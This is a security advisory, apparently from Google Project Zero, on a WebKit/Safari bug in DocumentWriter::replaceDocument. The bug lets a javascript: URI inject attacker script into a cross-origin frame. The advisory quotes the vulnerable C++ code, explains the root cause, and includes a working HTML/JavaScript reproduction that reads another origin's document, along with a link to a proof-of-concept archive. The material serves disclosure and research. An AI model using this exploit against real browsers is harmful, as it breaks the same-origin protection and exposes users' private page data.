VULNERABILITY DETAILS
```
void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument)
{
[...]
begin(m_frame->document()->url(), true, ownerDocument); // ***1***
// begin() might fire an unload event, which will result in a situation where no new document has been attached,
// and the old document has been detached. Therefore, bail out if no document is attached.
if (!m_frame->document())
return;
if (!source.isNull()) {
if (!m_hasReceivedSomeData) {
m_hasReceivedSomeData = true;
m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode);
}
// FIXME: This should call DocumentParser::appendBytes instead of append
// to support RawDataDocumentParsers.
if (DocumentParser* parser = m_frame->document()->parser())
parser->append(source.impl()); // ***2***
}
```
```
bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument)
{
[...]
bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3***
if (shouldReuseDefaultView)
document->takeDOMWindowFrom(*m_frame->document());
else
document->createDOMWindow();
// Per <http://www.w3.org/TR/upgrade-insecure-requests/>, we need to retain an ongoing set of upgraded
// requests in new navigation contexts. Although this information is present when we construct the
// Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it
// so we can restore it.
HashSet<SecurityOriginData> insecureNavigationRequestsToUpgrade;
if (auto* existingDocument = m_frame->document())
insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade();
m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView);
clear();
// m_frame->loader().clear() might fire unload event which could remove the view of the document.
// Bail out if document has no view.
if (!document->view())
return false;
if (!shouldReuseDefaultView)
m_frame->script().updatePlatformScriptObjects();
m_frame->loader().setOutgoingReferrer(url);
m_frame->setDocument(document.copyRef());
[...]
m_frame->loader().didBeginDocument(dispatch); // ***4***
document->implicitOpen();
[...]
```
`DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with
a new one using the result of evaluating a javascript: URI as the document's source. The method
calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to
the parser of the active document[2]. If an attacker can perform another page load right before
returning from `begin` , the method will append an attacker-controlled string to a potentially
cross-origin document.
Under normal conditions, a javascript: URI load always makes `begin` associate the new document with
a new DOMWindow object. However, it's actually possible to meet the requirements of the
`shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the <iframe> element's
source URI to a sane value before it's inserted into the document. This will set the frame state to
`DisplayingInitialEmptyDocumentPostCommit`. Then she has to call `open` on the frame's document
right after the insertion to stop the initial load and set the document URL to a value that can pass
the `isSecureTransitionTo` check.
When the window object is re-used, all event handlers defined for the window remain active. So, for
example, when `didBeginDocument`[4] calls `setReadyState` on the new document, it will trigger the
window's "readystatechange" handler. Since `NavigationDisabler` is not active at this point, it's
possible to perform a synchronous page load using the `showModalDialog` trick.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
The attack won't work if the cross-origin document has no active parser by the time `begin` returns.
The easiest way to reproduce the bug is to call `document.write` from the victim page when the main
parsing task is complete. However, it's a rather artificial construct, so I've also attached another
test case, which works for regular pages, but it has to use a python script that emulates a slow web
server to run reliably.
```
<body>
<h1>Click to start</h1>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.frame.contentDocument.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 2000);
</scrip` + 't>'));
}
window.onclick = () => {
frame = document.createElement('iframe');
frame.src = location;
document.body.appendChild(frame);
frame.contentDocument.open();
frame.contentDocument.onreadystatechange = () => {
frame.contentWindow.addEventListener('readystatechange', () => {
a = frame.contentDocument.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
}, {capture: true, once: true});
}
frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"';
}
victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>';
ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47450.zip